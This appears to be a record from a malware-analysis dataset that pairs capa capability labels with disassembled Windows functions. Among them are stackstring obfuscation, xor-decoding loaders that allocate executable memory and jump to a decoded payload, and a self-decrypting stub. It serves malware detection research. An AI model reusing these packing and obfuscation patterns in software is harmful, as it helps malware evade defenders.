joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407dd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x5c2928
mov dword [ebp - 0x60], 0x6e0049
lea esi, [ebp - 0x60]
mov dword [ebp - 0x5c], 0x740073
push edi
mov dword [ebp - 0x58], 0x6c0061
mov edx, 0x2f
mov dword [ebp - 0x54], 0x46006c
sub esi, eax
mov dword [ebp - 0x50], 0x6c0069
mov dword [ebp - 0x4c], 0x730065
mov dword [ebp - 0x48], 0x20002c
mov dword [ebp - 0x44], 0x6e0049
mov dword [ebp - 0x40], 0x740073
mov dword [ebp - 0x3c], 0x6c0061
mov dword [ebp - 0x38], 0x43006c
mov dword [ebp - 0x34], 0x660065
mov dword [ebp - 0x30], 0x650052
mov dword [ebp - 0x2c], 0x3a0073
mov dword [ebp - 0x28], 0x720020
mov dword [ebp - 0x24], 0x730065
mov dword [ebp - 0x20], 0x63005f
mov dword [ebp - 0x1c], 0x70006f
mov dword [ebp - 0x18], 0x5f0079
mov dword [ebp - 0x14], 0x750073
mov dword [ebp - 0x10], 0x630063
mov dword [ebp - 0xc], 0x730065
mov dword [ebp - 8], 0x73
lea ecx, [edx + 0x7fffffcf]
test ecx, ecx
je 0x407eb1
movzx ecx, word [esi + eax]
test cx, cx
je 0x407eb1
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x407e93
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5c2928
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x407ee0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5c2ef8
mov dword [ebp - 0x34], 0x2f0020
lea esi, [ebp - 0x34]
mov dword [ebp - 0x30], 0x740073
mov dword [ebp - 0x2c], str.fu_nI
mov edx, 0x19
mov dword [ebp - 0x28], 0x5f0074
sub esi, eax
mov dword [ebp - 0x24], 0x720066
mov dword [ebp - 0x20], 0x6d006f
mov dword [ebp - 0x1c], 0x70003d
mov dword [ebp - 0x18], 0x70006f
mov dword [ebp - 0x14], 0x77005f
mov dword [ebp - 0x10], 0x6e0069
mov dword [ebp - 0xc], 0x6f0064
mov dword [ebp - 8], 0x77
lea ecx, [edx + 0x7fffffe5]
test ecx, ecx
je 0x407f72
movzx ecx, word [esi + eax]
test cx, cx
je 0x407f72
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x407f54
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c2ef8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret
Function at 0x407fa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x24], 0x690044
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x24]
mov eax, 0x5c2cc4
mov dword [ebp - 0x20], str.H__bEs
mov dword [ebp - 0x1c], 0x61006c
mov edx, 0x10
mov dword [ebp - 0x18], 0x560079
sub esi, eax
mov dword [ebp - 0x14], 0x720065
mov dword [ebp - 0x10], 0x690073
mov dword [ebp - 0xc], 0x6e006f
nop word [eax + eax]
lea ecx, [edx + 0x7fffffee]
test ecx, ecx
je 0x40801e
movzx ecx, word [esi + eax]
test cx, cx
je 0x40801e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x408000
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c2cc4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x408040
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5c2b90
mov dword [ebp - 0x1c], 0x6e0049
lea esi, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x740073
mov dword [ebp - 0x14], 0x6c0061
mov edx, 0xd
mov dword [ebp - 0x10], 0x54006c
sub esi, eax
mov dword [ebp - 0xc], 0x6d0069
mov dword [ebp - 8], 0x65
nop word [eax + eax]
lea ecx, [edx + 0x7ffffff1]
test ecx, ecx
je 0x4080ae
movzx ecx, word [esi + eax]
test cx, cx
je 0x4080ae
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x408090
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c2b90
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x4080d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x54], 0x6e0049
push ebx
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x54]
mov eax, 0x5c2880
mov dword [ebp - 0x50], 0x740073
push edi
mov dword [ebp - 0x4c], 0x6c0061
mov edx, 0x28
mov dword [ebp - 0x48], 0x46006c
sub esi, eax
mov dword [ebp - 0x44], 0x6c0069
mov dword [ebp - 0x40], 0x730065
mov dword [ebp - 0x3c], 0x20002c
mov dword [ebp - 0x38], 0x6e0049
mov dword [ebp - 0x34], 0x740073
mov dword [ebp - 0x30], 0x6c0061
mov dword [ebp - 0x2c], 0x43006c
mov dword [ebp - 0x28], 0x660065
mov dword [ebp - 0x24], 0x650052
mov dword [ebp - 0x20], 0x3a0073
mov dword [ebp - 0x1c], 0x630020
mov dword [ebp - 0x18], 0x660065
mov dword [ebp - 0x14], 0x650020
mov dword [ebp - 0x10], 0x690078
mov dword [ebp - 0xc], 0x740073
nop dword [eax]
lea ecx, [edx + 0x7fffffd6]
test ecx, ecx
je 0x40819e
movzx ecx, word [esi + eax]
test cx, cx
je 0x40819e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x408180
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5c2880
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret
Function at 0x44c240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x6e0075
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x1c]
mov eax, 0x5c3fc4
mov dword [ebp - 0x18], 0x6e0069
mov dword [ebp - 0x14], 0x740073
mov edx, 0xc
mov dword [ebp - 0x10], 0x65002e
sub esi, eax
mov dword [ebp - 0xc], 0x650078
nop dword [eax]
lea ecx, [edx + 0x7ffffff2]
test ecx, ecx
je 0x44c2ae
movzx ecx, word [esi + eax]
test cx, cx
je 0x44c2ae
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x44c290
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c3fc4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x44c2d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x650053
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x1c]
mov eax, 0x5c3f44
mov dword [ebp - 0x18], 0x750074
mov dword [ebp - 0x14], 0x200070
mov edx, 0xc
mov dword [ebp - 0x10], 0x610050
sub esi, eax
mov dword [ebp - 0xc], 0x680074
nop dword [eax]
lea ecx, [edx + 0x7ffffff2]
test ecx, ecx
je 0x44c33e
movzx ecx, word [esi + eax]
test cx, cx
je 0x44c33e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x44c320
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c3f44
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x44c360
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5c4198
mov dword [ebp - 0x1c], 0x690044
lea esi, [ebp - 0x1c]
mov dword [ebp - 0x18], str.H__bEs
mov dword [ebp - 0x14], 0x61006c
mov edx, 0xd
mov dword [ebp - 0x10], 0x490079
sub esi, eax
mov dword [ebp - 0xc], 0x6f0063
mov dword [ebp - 8], 0x6e
nop word [eax + eax]
lea ecx, [edx + 0x7ffffff1]
test ecx, ecx
je 0x44c3ce
movzx ecx, word [esi + eax]
test cx, cx
je 0x44c3ce
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x44c3b0
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c4198
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret
Function at 0x467410
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x20], 0x720067
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x20]
mov eax, 0x5c4624
mov dword [ebp - 0x1c], 0x700061
mov dword [ebp - 0x18], 0x2e0068
mov edx, 0xe
mov dword [ebp - 0x14], 0x710071
sub esi, eax
mov dword [ebp - 0x10], 0x63002e
mov dword [ebp - 0xc], 0x6d006f
lea ecx, [edx + 0x7ffffff0]
test ecx, ecx
je 0x46747e
movzx ecx, word [esi + eax]
test cx, cx
je 0x46747e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x467460
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c4624
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x4674a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x5c4668
mov dword [ebp - 0x34], 0x61004d
lea esi, [ebp - 0x34]
mov dword [ebp - 0x30], 0x6e0069
push edi
mov dword [ebp - 0x2c], 0x690057
mov edx, 0x19
mov dword [ebp - 0x28], str.m_txD
sub esi, eax
mov dword [ebp - 0x24], str.__f9
mov dword [ebp - 0x20], 0x650057
mov dword [ebp - 0x1c], 0x570062
mov dword [ebp - 0x18], 0x6e0069
mov dword [ebp - 0x14], 0x6f0064
mov dword [ebp - 0x10], 0x2e0077
mov dword [ebp - 0xc], 0x6d0078
mov dword [ebp - 8], 0x6c
lea ecx, [edx + 0x7fffffe5]
test ecx, ecx
je 0x467534
movzx ecx, word [esi + eax]
test cx, cx
je 0x467534
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x467516
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5c4668
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x467560
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x70006f
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x2c]
mov eax, 0x5c4640
mov dword [ebp - 0x28], 0x6e0065
push edi
mov dword [ebp - 0x24], 0x77002e
mov edx, 0x14
mov dword [ebp - 0x20], 0x690065
sub esi, eax
mov dword [ebp - 0x1c], 0x690078
mov dword [ebp - 0x18], 0x2e006e
mov dword [ebp - 0x14], 0x710071
mov dword [ebp - 0x10], 0x63002e
mov dword [ebp - 0xc], 0x6d006f
lea ecx, [edx + 0x7fffffea]
test ecx, ecx
je 0x4675e4
movzx ecx, word [esi + eax]
test cx, cx
je 0x4675e4
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x4675c6
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
mov word [ecx], ax
mov eax, 0x5c4640
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret
Function at 0x1000da09
Capabilities:
Query environment variable

Disassembly:
push esi
push edi
mov edi, 0x1008f4c8
push edi
call sym.glib_lite.dll_Ordinal_235
xor esi, esi
inc esi
pop ecx
test eax, eax
je 0x1000da44
push str.G_MAIN_POLL_DEBUG
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov ecx, dword [0x1008f4a8]
test eax, eax
push esi
cmovne ecx, esi
push edi
mov dword [0x1008f4a8], ecx
call sym.glib_lite.dll_Ordinal_236
add esp, 0xc
push ebx
push 0x70
push esi
call sym.glib_lite.dll_Ordinal_196
mov edi, eax
push edi
call sym.glib_lite.dll_Ordinal_207
lea ecx, [edi + 8]
push ecx
call sym.glib_lite.dll_Ordinal_48
xor ebx, ebx
push ebx
push ebx
call sym.glib_lite.dll_Ordinal_124
mov dword [edi + 0x24], eax
mov dword [edi + 0x14], ebx
mov dword [edi + 0x1c], ebx
mov dword [edi + 0x20], esi
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], ebx
mov dword [edi + 0x5c], 0x1001bb93
mov dword [edi + 0x44], ebx
mov dword [edi + 0x48], ebx
call fcn.10001640
mov dword [edi + 0x28], eax
mov dword [edi + 0x68], ebx
call fcn.1001bf14
lea esi, [edi + 0x50]
mov dword [edi + 0x4c], eax
push esi
push eax
call fcn.1001bf00
push esi
push ebx
push edi
call fcn.1000d57e
mov esi, 0x1008f4bc
push esi
call sym.glib_lite.dll_Ordinal_208
push edi
push dword [0x1008f4c4]
call sym.glib_lite.dll_Ordinal_318
add esp, 0x38
mov dword [0x1008f4c4], eax
cmp dword [0x1008f4a8], 0
pop ebx
je 0x1000dae1
push edi
push str.created_context_p_n
call fcn.1002f94a
pop ecx
pop ecx
push esi
call sym.glib_lite.dll_Ordinal_209
pop ecx
mov eax, edi
pop edi
pop esi
ret

Function at 0x1000f2a1
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x1008f304]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
lea eax, [ebp - 0x80]
xor esi, esi
push eax
push dword [ebp + 0x19c]
mov dword [ebp - 0x80], esi
push esi
call sub.SHELL32.dll_SHGetSpecialFolderLocation
test eax, eax
jne 0x1000f303
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x1000f2fa
push esi
push esi
push esi
lea eax, [ebp - 0x7c]
push 0xffffffffffffffff
push eax
call sym.glib_lite.dll_Ordinal_433
add esp, 0x14
mov esi, eax
push dword [ebp - 0x80]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1003c212
add ebp, 0x194
leave
ret
Function at 0x10010879
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x1040
call fcn.1003c310
mov eax, dword [0x1008f304]
xor eax, esp
mov dword [esp + 0x103c], eax
and dword [esp], 0
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0x1048]
push edi
mov edi, dword [esp + 0x1058]
push eax
push dword [esp + 0x1054]
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__fstat64]
pop ecx
pop ecx
test eax, eax
jns 0x100108eb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov esi, dword [eax]
push esi
call sym.glib_lite.dll_Ordinal_353
pop ecx
push eax
push esi
call fcn.10002ff5
pop ecx
push eax
call fcn.100030eb
push eax
push edi
call fcn.1002f94a
add esp, 0x10
xor eax, eax
jmp 0x100109ca
test dword [esp + 0x12], 0x8000
jne 0x10010903
push str.Not_a_regular_file
push 1
call fcn.100102cf
jmp 0x100108da
push ebx
mov bl, byte [esi + 0x14]
push esi
call fcn.10010253
push esi
call fcn.10010717
mov eax, dword [esp + 0x1060]
pop ecx
pop ecx
mov byte [esi + 0x14], bl
mov dword [esi + 0x18], eax
push ebp
push 0x1000
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x1060]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
add esp, 0xc
mov ebp, eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ebx, dword [eax]
test ebp, ebp
je 0x10010996
jns 0x10010978
cmp ebx, 4
je 0x1001098c
cmp ebx, 0xb
je 0x1001098c
push ebx
call sym.glib_lite.dll_Ordinal_353
pop ecx
push eax
push ebx
call fcn.10002ff5
pop ecx
push eax
call fcn.100030eb
push eax
push edi
call fcn.1002f94a
add esp, 0x10
jmp 0x100109c1
lea eax, [esp + 0x10]
push eax
push ebp
lea eax, [esp + 0x54]
push eax
push esi
call fcn.10010c32
add esp, 0x10
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10010923
jmp 0x1001099e
mov eax, dword [esp + 0x10]
test eax, eax
je 0x100109a1
push eax
jmp 0x100109b9
lea eax, [esp + 0x10]
push eax
push esi
call fcn.1002f94a
cmp dword [esp + 0x18], 0
pop ecx
pop ecx
je 0x100109c5
push dword [esp + 0x10]
push edi
call fcn.1002f94a
pop ecx
pop ecx
xor eax, eax
jmp 0x100109c8
xor eax, eax
inc eax
pop ebp
pop ebx
mov ecx, dword [esp + 0x1044]
pop edi
pop esi
xor ecx, esp
call fcn.1003c212
add esp, 0x1040
ret
Function at 0x100296d3
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
lea eax, [edi + 0x74]
push eax
xor eax, eax
push eax
push edi
push dword [esp + 0x20]
push eax
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov esi, eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
test esi, esi
jne 0x1002971a
push dword [eax]
call sym.glib_lite.dll_Ordinal_353
push eax
push str.Error_creating_thread:__s.
push 0x10
push str.Glib
call sym.glib_lite.dll_Ordinal_182
add esp, 0x14
jmp 0x1002974e
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x1002974e
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.1002f94a
mov esi, eax
push esi
push str.Error_closing_thread_handle:__s.
push 0x10
push str.Glib
call sym.glib_lite.dll_Ordinal_182
push esi
call sym.glib_lite.dll_Ordinal_105
add esp, 0x18
push 0xffffffffffffffff
push dword [edi + 0x8c]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
pop edi
pop esi
ret

Function at 0x1002f94a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1002f959
pop dword [ebp - 0x20]
mov eax, 0x1002f959
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xc9998201
add dword [ebp - 0x30], 0x84b8c34a
mov dword [ebp - 0x2c], 0xd62c1022
sub dword [ebp - 0x2c], 0xa3f8c3dd
mov dword [ebp - 0x28], 0x86f3ff36
add dword [ebp - 0x28], 0xc55844f8
mov dword [ebp - 0x24], 0xdd9b3db4
sub dword [ebp - 0x24], 0xdd9b3db4
lea eax, [ebp - 0x30]
push eax
mov eax, 0x557b9c9d
add eax, 0xba886477
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x484c5cec
add dword [ebp - 0x30], 0x2c260c6a
mov dword [ebp - 0x2c], 0x6a46925c
sub dword [ebp - 0x2c], 0x28da30e7
mov dword [ebp - 0x28], 0x9f398124
add dword [ebp - 0x28], 0xc435eb48
mov dword [ebp - 0x24], 0x5e0b22ea
sub dword [ebp - 0x24], 0x5e0b22ea
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xc3c4bea4
sub eax, 0xb3c0bd4c
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3a676
push 0
call eax
mov ecx, 0x44b9
mov edx, eax
mov ebx, 0xacc1c14f
sub ebx, 0x9cb8774f
add ebx, dword [ebp - 0x20]
mov esi, 0x56d2a98b
sub esi, 0x382a1135
xor dword [ebp - 0x10], 0x4c8395f0
mov edi, dword [ebx]
sub dword [ebp - 0x14], 0x609a95c6
xor edi, esi
xor dword [ebp - 8], eax
mov dword [edx], edi
add dword [ebp - 8], 0xf3620def
add edx, 0xb716d164
add edx, 0x48e92ea0
add ebx, 0x4ae8d5a0
add ebx, 0xb5172a64
loop 0x1002fa70
add eax, 0xe6bccbbb
add eax, 0x194439fc
xor ebx, ebx
add ebx, eax
add eax, 0xbfd86c1f
add eax, 0x402793e6
mov ecx, 0x78607bc7
sub ecx, 0x68607bc7
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x10001fa9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10001fb8
pop dword [ebp - 0x24]
mov eax, 0x9b374f70
add eax, 0x74c8d048
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x82d0a8f4
sub dword [ebp - 0x34], 0x347e63a9
mov dword [ebp - 0x30], 0x8fcc6fd9
add dword [ebp - 0x30], 0xa266dc6c
mov dword [ebp - 0x2c], 0x6c997447
add dword [ebp - 0x2c], 0xdfb2cfe7
mov dword [ebp - 0x28], 0x650fa758
add dword [ebp - 0x28], 0x9af058a8
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xf90415b3
sub dword [ebp - 0x34], 0x8491ac5d
mov dword [ebp - 0x30], 0xb2effdd8
sub dword [ebp - 0x30], 0x71839c63
mov dword [ebp - 0x2c], 0xc0390144
add dword [ebp - 0x2c], 0xa3366b28
mov dword [ebp - 0x28], 0x61ab9e5
add dword [ebp - 0x28], 0xf9e5461b
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x49fe5
push 0
call eax
mov ecx, 0x4673
mov edx, eax
mov ebx, 0xe059f2ac
add ebx, 0x2fad5d54
add ebx, dword [ebp - 0x24]
mov esi, 0x8c9beb15
sub esi, 0x8d4eb77
sub dword [ebp - 0xc], eax
mov edi, dword [ebx]
xor dword [ebp - 0x14], edx
add edi, esi
add dword [ebp - 0x14], eax
mov dword [edx], edi
xor dword [ebp - 0x14], edi
add edx, 0xa91c85fc
sub edx, 0xa91c85f8
add ebx, 4
loop 0x100020ca
add eax, 0xd31ea2df
sub eax, 0xd31d9640
mov ebx, eax
add eax, 0x61a61cfb
add eax, 0x9e59e30a
mov ecx, 0x13dd1230
sub ecx, 0x3dd1230
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x439320
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret

Function at 0x43c815
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x45bc70
cmp edx, dword [eax]
je 0x43c837
add eax, 8
inc ecx
cmp eax, 0x45bd00
jl 0x43c828
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x45bc70]
jne 0x43c965
mov eax, dword [0x45ff98]
cmp eax, 1
je 0x43c93f
test eax, eax
jne 0x43c868
cmp dword [0x45b634], 1
je 0x43c93f
cmp edx, 0xfc
je 0x43c965
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x43c89f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0043f3e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0043f070
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x43c8e2
lea eax, [ebp - 0x1a4]
push eax
call fcn.0043f070
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x44a018
push edi
call fcn.0043a140
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0043f3e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0043f3f0
lea eax, [ebp - 0xa0]
push 0x449ff8
push eax
call fcn.0043f3f0
push dword [esi + 0x45bc74]
lea eax, [ebp - 0xa0]
push eax
call fcn.0043f3f0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004401c8
add esp, 0x2c
pop edi
jmp 0x43c965
lea eax, [ebp + 8]
lea esi, [esi + 0x45bc74]
push 0
push eax
push dword [esi]
call fcn.0043f070
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx